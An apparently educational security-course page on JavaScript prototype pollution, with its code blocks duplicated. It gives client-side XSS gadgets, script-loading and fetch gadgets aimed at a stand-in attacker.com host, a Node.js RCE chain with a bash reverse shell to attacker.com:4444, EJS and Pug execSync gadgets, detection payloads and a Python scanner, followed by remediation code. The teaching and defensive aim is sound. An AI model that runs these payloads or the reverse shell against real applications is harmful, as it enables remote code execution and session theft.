Exploitation A03

Prototype Pollution Attacks

Prototype pollution allows attackers to modify JavaScript's Object.prototype, affecting all objects in the application. This can lead to XSS, RCE, and logic bypasses.

Information

Prototype pollution is especially impactful in Node.js applications where it can lead to remote code execution. Client-side pollution typically chains with XSS gadgets.

📚 Quick Navigation

🔧 Testing

🛡️ Defense

JavaScript Prototype Chain

In JavaScript, objects inherit properties from their prototype. If an attacker can modify Object.prototype, those properties become available on ALL objects in the application.

prototype-basics.js
javascript
// JavaScript Prototype Chain Basics

// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true

// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!

// Two ways to access prototype:
obj.__proto__           // Legacy, still widely supported
Object.getPrototypeOf(obj)  // Modern, safer

// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true

// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input:        {"__proto__": {"admin": true}}
// Result:            All objects now have admin=true
// JavaScript Prototype Chain Basics

// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true

// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!

// Two ways to access prototype:
obj.__proto__           // Legacy, still widely supported
Object.getPrototypeOf(obj)  // Modern, safer

// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true

// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input:        {"__proto__": {"admin": true}}
// Result:            All objects now have admin=true

Pollution Entry Points

__proto__

Direct prototype access. Most common pollution vector.

constructor.prototype

Access via constructor property chain.

Object.prototype

Direct modification if accessible.

Client-Side Prototype Pollution

Client-side pollution typically occurs through URL parameters, hash fragments, or JSON data that gets merged into configuration objects.

client-side-pp.js
javascript
// Client-Side Prototype Pollution

// Vulnerable merge function (common pattern)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (typeof target[key] !== 'object') {
        target[key] = {};
      }
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true

// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});

// Now Object.prototype.admin = true
// Check in console: {}.admin === true

// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)  
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functions
// Client-Side Prototype Pollution

// Vulnerable merge function (common pattern)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (typeof target[key] !== 'object') {
        target[key] = {};
      }
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true

// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});

// Now Object.prototype.admin = true
// Check in console: {}.admin === true

// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)  
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functions

Warning

Client-side prototype pollution alone isn't directly exploitable - you need a "gadget" (vulnerable code) that uses the polluted property in a dangerous way (like innerHTML).

Finding Pollution Gadgets

gadget-discovery.js
javascript
// Finding Prototype Pollution Gadgets

// A "gadget" is code that uses polluted properties in dangerous ways

// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";

// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!

// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);

// Attack:
Object.prototype.code = "alert(document.cookie)";

// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';

// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";

// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);

// Attack:
Object.prototype.url = "https://attacker.com/steal";

// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinks
// Finding Prototype Pollution Gadgets

// A "gadget" is code that uses polluted properties in dangerous ways

// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";

// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!

// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);

// Attack:
Object.prototype.code = "alert(document.cookie)";

// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';

// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";

// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);

// Attack:
Object.prototype.url = "https://attacker.com/steal";

// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinks

Server-Side Prototype Pollution (Node.js)

Server-side pollution is far more dangerous, potentially leading to remote code execution via template engines, child processes, or other Node.js internals.

server-side-pp.js
javascript
// Server-Side Prototype Pollution (Node.js)

// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}

// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true

// Attack Example 1: Authorization Bypass
function isAdmin(user) {
  return user.admin === true;  // Checks own property AND prototype!
}

// After pollution:
isAdmin({}) // true! Empty object now has admin

// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = { 
  BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};

const { exec } = require('child_process');
exec('echo hello');  // Uses polluted options -> RCE

// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";

// When EJS renders a template, it uses the polluted property
res.render('index', {});  // RCE!

// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};
// Server-Side Prototype Pollution (Node.js)

// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}

// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true

// Attack Example 1: Authorization Bypass
function isAdmin(user) {
  return user.admin === true;  // Checks own property AND prototype!
}

// After pollution:
isAdmin({}) // true! Empty object now has admin

// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = { 
  BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};

const { exec } = require('child_process');
exec('echo hello');  // Uses polluted options -> RCE

// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";

// When EJS renders a template, it uses the polluted property
res.render('index', {});  // RCE!

// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};

Danger

Server-side prototype pollution can lead to RCE. Template engines like EJS, Pug, and Handlebars have known gadgets that execute code when combined with pollution.

Detection Payloads

detection-payloads.txt
bash
# Prototype Pollution Detection Payloads

# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted

# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}

# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}

# Check if pollution worked (Browser Console):
console.log({}.polluted);          // Should show "yes"
console.log(Object.prototype.polluted);

# Automated detection with ppfuzz
# https://github.com/nicloklmn/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"

# With ppmap (finds PP + gadgets)
# https://github.com/nicloklmn/ppmap
ppmap -u "https://target.com"
# Prototype Pollution Detection Payloads

# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted

# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}

# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}

# Check if pollution worked (Browser Console):
console.log({}.polluted);          // Should show "yes"
console.log(Object.prototype.polluted);

# Automated detection with ppfuzz
# https://github.com/nicloklmn/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"

# With ppmap (finds PP + gadgets)
# https://github.com/nicloklmn/ppmap
ppmap -u "https://target.com"

Prototype Pollution to XSS

pp-xss-gadgets.js
javascript
// Prototype Pollution to XSS Gadget Examples

// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = { 
  handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers

// 2. Vue.js gadget  
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this

// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL

// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
  return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function

// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!

// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS

// Finding more gadgets with ppmap:
// https://github.com/nicloklmn/ppmap
// Automatically finds pollution sources and matching gadgets
// Prototype Pollution to XSS Gadget Examples

// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = { 
  handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers

// 2. Vue.js gadget  
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this

// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL

// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
  return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function

// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!

// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS

// Finding more gadgets with ppmap:
// https://github.com/nicloklmn/ppmap
// Automatically finds pollution sources and matching gadgets

Automated Testing Script

pp_scanner.py
python
#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""

import requests
import json
import urllib.parse
import sys

def test_json_pollution(url, method='POST'):
    """Test JSON body pollution"""
    payloads = [
        {"__proto__": {"polluted": "yes"}},
        {"constructor": {"prototype": {"polluted": "yes"}}},
        {"__proto__": {"toString": "polluted"}},
    ]
    
    for payload in payloads:
        try:
            if method == 'POST':
                r = requests.post(
                    url, 
                    json=payload,
                    headers={'Content-Type': 'application/json'}
                )
            else:
                r = requests.put(url, json=payload)
            
            # Check for pollution indicators in response
            if 'polluted' in r.text or r.status_code == 500:
                print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
                print(f"  Response: {r.status_code}")
        except Exception as e:
            print(f"Error: {e}")


def test_url_pollution(url):
    """Test URL parameter pollution"""
    payloads = [
        "__proto__[polluted]=yes",
        "__proto__.polluted=yes",
        "constructor[prototype][polluted]=yes",
        "constructor.prototype.polluted=yes",
    ]
    
    sep = '&' if '?' in url else '?'
    
    for payload in payloads:
        test_url = f"{url}{sep}{payload}"
        try:
            r = requests.get(test_url)
            if 'polluted' in r.text:
                print(f"[POTENTIAL] URL pollution: {test_url}")
        except Exception as e:
            print(f"Error: {e}")


def test_fragment_pollution(base_url):
    """Generate fragment pollution URLs for manual testing"""
    payloads = [
        "#__proto__[polluted]=yes",
        "#__proto__.polluted=yes",
        "#constructor[prototype][polluted]=yes",
    ]
    
    print("\n[INFO] Test these URLs manually in browser:")
    for payload in payloads:
        print(f"  {base_url}{payload}")
    print("\n  Then check console: {}.polluted")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url>")
        print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
        sys.exit(1)
    
    url = sys.argv[1]
    
    print("=== Prototype Pollution Testing ===\n")
    
    print("[*] Testing JSON body pollution...")
    test_json_pollution(url)
    
    print("\n[*] Testing URL parameter pollution...")
    test_url_pollution(url)
    
    print("\n[*] Fragment-based payloads (client-side):")
    test_fragment_pollution(url.split('?')[0])
#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""

import requests
import json
import urllib.parse
import sys

def test_json_pollution(url, method='POST'):
    """Test JSON body pollution"""
    payloads = [
        {"__proto__": {"polluted": "yes"}},
        {"constructor": {"prototype": {"polluted": "yes"}}},
        {"__proto__": {"toString": "polluted"}},
    ]
    
    for payload in payloads:
        try:
            if method == 'POST':
                r = requests.post(
                    url, 
                    json=payload,
                    headers={'Content-Type': 'application/json'}
                )
            else:
                r = requests.put(url, json=payload)
            
            # Check for pollution indicators in response
            if 'polluted' in r.text or r.status_code == 500:
                print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
                print(f"  Response: {r.status_code}")
        except Exception as e:
            print(f"Error: {e}")


def test_url_pollution(url):
    """Test URL parameter pollution"""
    payloads = [
        "__proto__[polluted]=yes",
        "__proto__.polluted=yes",
        "constructor[prototype][polluted]=yes",
        "constructor.prototype.polluted=yes",
    ]
    
    sep = '&' if '?' in url else '?'
    
    for payload in payloads:
        test_url = f"{url}{sep}{payload}"
        try:
            r = requests.get(test_url)
            if 'polluted' in r.text:
                print(f"[POTENTIAL] URL pollution: {test_url}")
        except Exception as e:
            print(f"Error: {e}")


def test_fragment_pollution(base_url):
    """Generate fragment pollution URLs for manual testing"""
    payloads = [
        "#__proto__[polluted]=yes",
        "#__proto__.polluted=yes",
        "#constructor[prototype][polluted]=yes",
    ]
    
    print("\n[INFO] Test these URLs manually in browser:")
    for payload in payloads:
        print(f"  {base_url}{payload}")
    print("\n  Then check console: {}.polluted")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url>")
        print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
        sys.exit(1)
    
    url = sys.argv[1]
    
    print("=== Prototype Pollution Testing ===\n")
    
    print("[*] Testing JSON body pollution...")
    test_json_pollution(url)
    
    print("\n[*] Testing URL parameter pollution...")
    test_url_pollution(url)
    
    print("\n[*] Fragment-based payloads (client-side):")
    test_fragment_pollution(url.split('?')[0])

Testing Tools

DOM Invader (Burp)

Automatically detects PP sources and gadgets during browsing.

Built into Burp Suite

ppmap

Scans for pollution sources and matching gadgets.

github.com/nicloklmn/ppmap

ppfuzz

Fast fuzzer for finding PP entry points.

github.com/nicloklmn/ppfuzz

Client-Side Prototype Pollution

Chrome extension to detect pollution in real-time.

Chrome Web Store

Remediation

remediation.js
javascript
// Prototype Pollution Remediation

// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null);  // No prototype!
safeObj.__proto__ = "attack";         // Just a regular property

// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true;  // Silently fails in strict mode

// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe');  // No pollution

// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
  for (let key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue;  // Skip dangerous keys
    }
    target[key] = source[key];
  }
  return target;
}

// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) {  // Only checks own property
  // Safe - won't be true from prototype
}

// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully

// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();

const schema = {
  type: 'object',
  properties: {
    name: { type: 'string' },
    age: { type: 'number' }
  },
  additionalProperties: false  // Reject unknown keys
};
// Prototype Pollution Remediation

// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null);  // No prototype!
safeObj.__proto__ = "attack";         // Just a regular property

// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true;  // Silently fails in strict mode

// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe');  // No pollution

// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
  for (let key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue;  // Skip dangerous keys
    }
    target[key] = source[key];
  }
  return target;
}

// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) {  // Only checks own property
  // Safe - won't be true from prototype
}

// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully

// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();

const schema = {
  type: 'object',
  properties: {
    name: { type: 'string' },
    age: { type: 'number' }
  },
  additionalProperties: false  // Reject unknown keys
};

Practice Labs

Testing Checklist

🔍 Source Detection

  • ☐ Test URL query parameters
  • ☐ Test URL hash/fragment
  • ☐ Test JSON POST body
  • ☐ Test form data
  • ☐ Look for merge/extend functions

⚡ Gadget Hunting

  • ☐ Use DOM Invader
  • ☐ Check for innerHTML sinks
  • ☐ Check for eval/Function sinks
  • ☐ Check script.src assignments
  • ☐ Review JS libraries for known gadgets

🖥️ Server-Side

  • ☐ Test body-parser pollution
  • ☐ Check template engines (EJS, Pug)
  • ☐ Test for authorization bypass
  • ☐ Look for child_process gadgets
  • ☐ Test with constructor.prototype

📝 Payloads

  • ☐ __proto__[key]=value
  • ☐ __proto__.key=value
  • ☐ constructor[prototype][key]
  • ☐ Nested object pollution
  • ☐ Test both JSON and URL encoding